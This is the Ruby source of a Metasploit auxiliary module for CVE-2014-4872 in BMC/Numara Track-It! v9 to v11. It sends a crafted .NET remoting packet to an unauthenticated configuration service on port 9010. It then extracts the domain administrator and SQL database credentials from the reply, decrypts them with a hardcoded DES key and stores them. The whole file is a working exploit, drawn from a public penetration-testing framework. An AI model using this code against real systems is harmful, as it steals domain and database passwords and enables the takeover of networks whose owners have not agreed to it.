rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure',
      'Description' => %q{
        This module exploits an unauthenticated configuration retrieval .NET remoting
        service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain
        Administrator and the SQL server user credentials.
        This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
        10.0.0.143 and 9.0.30.248.
      },
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2014-4872' ],
          [ 'OSVDB', '112741' ],
          [ 'US-CERT-VU', '121036' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Oct/34' ]
        ],
      'DisclosureDate' => '2014-10-07'
    ))
    register_options(
      [
        OptPort.new('RPORT',
          [true, '.NET remoting service port', 9010])
      ])
  end


  def prepare_packet(bmc)
    #
    # ConfigurationService packet structure:
    #
    # packet_header_pre_packet_size
    # packet_size (4 bytes)
    # packet_header_pre_uri_size
    # uri_size (2 bytes)
    # packet_header_pre_uri
    # uri
    # packet_header_post_uri
    # packet_body_start_pre_method_size
    # method_size (1 byte)
    # method
    # packet_body_pre_type_size
    # type_size (1 byte)
    # packet_body_pre_type
    # type
    # @packet_terminator
    #
    # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
    #
    # P.S.: Lots of fun stuff can be obtained from the response. Highlights include:
    # - DatabaseServerName
    # - DatabaseName
    # - SchemaOwnerDatabaseUser
    # - EncryptedSystemDatabasePassword
    # - DomainAdminUserName
    # - DomainAdminEncryptedPassword
    #
    packet_header_pre_packet_size= [
      0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00
    ]

    packet_header_pre_uri_size = [
      0x04, 0x00, 0x01, 0x01
    ]

    packet_header_pre_uri = [
      0x00, 0x00
    ]

    # contains binary type (application/octet-stream)
    packet_header_post_uri = [
      0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,
      0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,
      0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,
      0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,
      0x00, 0x00
    ]

    packet_body_start_pre_method_size = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
    ]

    packet_body_pre_type_size = [ 0x12 ]

    packet_body_pre_type = [ 0x01 ]

    @packet_terminator = [ 0x0b ]

    service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
    method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
    type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt"))

    uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service

    packet_size =
      packet_header_pre_uri_size.length +
      2 + # uri_size
      packet_header_pre_uri.length +
      uri.length +
      packet_header_post_uri.length +
      packet_body_start_pre_method_size.length +
      1 + # method_size
      method.length +
      packet_body_pre_type_size.length +
      1 + # type_size
      packet_body_pre_type.length +
      type.length

    # start of packet and packet size (4 bytes)
    buf = packet_header_pre_packet_size.pack('C*')
    buf << Array(packet_size).pack('L*')

    # uri size (2 bytes)
    buf << packet_header_pre_uri_size.pack('C*')
    buf << Array(uri.length).pack('S*')

    # uri
    buf << packet_header_pre_uri.pack('C*')
    buf << uri.bytes.to_a.pack('C*')
    buf << packet_header_post_uri.pack('C*')

    # method name
    buf << packet_body_start_pre_method_size.pack('C*')
    buf << Array(method.length).pack('C*')
    buf << method.bytes.to_a.pack('C*')

    # type name
    buf << packet_body_pre_type_size.pack('C*')
    buf << Array(type.length).pack('C*')
    buf << packet_body_pre_type.pack('C*')
    buf << type.bytes.to_a.pack('C*')

    buf << @packet_terminator.pack('C*')

    return buf
  end


  def fill_loot_from_packet(packet_reply, loot)
    loot.each_key { |str|
      if loot[str] != nil
        next
      end
      if (index = (packet_reply.index(str))) != nil
        # after str, discard 5 bytes then get str_value
        size = packet_reply[index + str.length + 5,1].unpack('C*')[0]
        if size == 255
          # if we received 0xFF then there is no value for this str
          # set it to empty but not nil so that we don't look for it again
          loot[str] = ""
          next
        end
        loot[str] = packet_reply[index + str.length + 6, size]
      end
    }
  end


  def run
    packet = prepare_packet(true)

    sock = connect
    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
    else
      print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
    end
    sock.write(packet)

    # type of database (Oracle or SQL Server)
    database_type = "DatabaseType"
    # Database server name (host\sid for Oracle or host\login_name for SQL Server)
    database_server_name = "DatabaseServerName"
    database_name = "DatabaseName"
    schema_owner = "SchemaOwnerDatabaseUser"
    database_pw = "EncryptedSystemDatabasePassword"
    domain_admin_name = "DomainAdminUserName"
    domain_admin_pw = "DomainAdminEncryptedPassword"

    loot = {
      database_type => nil,
      database_server_name => nil,
      database_name => nil,
      schema_owner => nil,
      database_pw => nil,
      domain_admin_name => nil,
      domain_admin_pw => nil
    }

    # We only break when we have a timeout (up to 15 seconds wait) or have all we need
    while true
      ready = IO.select([sock], nil, nil, 15)
      if ready
        packet_reply = sock.readpartial(4096)
      else
        print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
        break
      end
      if packet_reply =~ /Service not found/
        # This is most likely an older Numara version, re-do the packet and send again.
        print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
        sock.close
        sock = connect
        if sock.nil?
          fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
        else
          print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
        end
        packet = prepare_packet(false)
        sock.write(packet)
        packet_reply = sock.readpartial(4096)
      end

      fill_loot_from_packet(packet_reply, loot)

      if not loot.has_value?(nil)
        break
      end
    end
    sock.close

    # now set the values that were not found back to nil
    loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) }

    if loot[database_type]
      print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}")
    end

    if loot[database_server_name]
      print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}")
    end

    if loot[database_name]
      print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}")
    end

    if loot[schema_owner]
      print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}")
    end

    if loot[database_pw]
      cipher = OpenSSL::Cipher.new("des")
      cipher.decrypt
      cipher.key = 'NumaraTI'
      cipher.iv = 'NumaraTI'
      loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw]))
      loot[database_pw] << cipher.final
      print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}")
    end

    if loot[domain_admin_name]
      print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}")
    end

    if loot[domain_admin_pw]
      cipher = OpenSSL::Cipher.new("des")
      cipher.decrypt
      cipher.key = 'NumaraTI'
      cipher.iv = 'NumaraTI'
      loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw]))
      loot[domain_admin_pw] << cipher.final
      print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}")
    end

    if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name]
      # If it is Oracle we need to save the SID for creating the Credential Core, else we don't care
      if loot[database_type] =~ /Oracle/i
        sid = loot[database_server_name].split('\\')[1]
      else
        sid = nil
      end

      credential_core = report_credential_core({
         password: loot[database_pw],
         username: loot[schema_owner],
         sid: sid
       })

      # Get just the hostname
      db_address= loot[database_server_name].split('\\')[0]

      begin
        database_login_data = {
          address: ::Rex::Socket.getaddress(db_address, true),
          service_name: loot[database_type],
          protocol: 'tcp',
          workspace_id: myworkspace_id,
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        # If it's Oracle, use the Oracle port, else use MSSQL
        if loot[database_type] =~ /Oracle/i
          database_login_data[:port] = 1521
        else
          database_login_data[:port] = 1433
        end
        create_credential_login(database_login_data)
      # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
      rescue SocketError
        print_error "Could not resolve Database Server Hostname."
      end

      print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")
    end

    if loot[domain_admin_name] and loot[domain_admin_pw]
      report_credential_core({
        password: loot[domain_admin_pw],
        username: loot[domain_admin_name].split('\\')[1],
        domain: loot[domain_admin_name].split('\\')[0]
      })

      print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}")
    end
  end


  def report_credential_core(cred_opts={})
    # Set up the has for our Origin service
    origin_service_data = {
      address: rhost,
      port: rport,
      service_name: 'Domain',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      private_type: :password,
      private_data: cred_opts[:password],
      username: cred_opts[:username]
    }

    if cred_opts[:domain]
      credential_data.merge!({
        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
        realm_value: cred_opts[:domain]
      })
    elsif cred_opts[:sid]
      credential_data.merge!({
         realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER,
         realm_value: cred_opts[:sid]
       })
    end

    credential_data.merge!(origin_service_data)
    create_credential(credential_data)
  end
end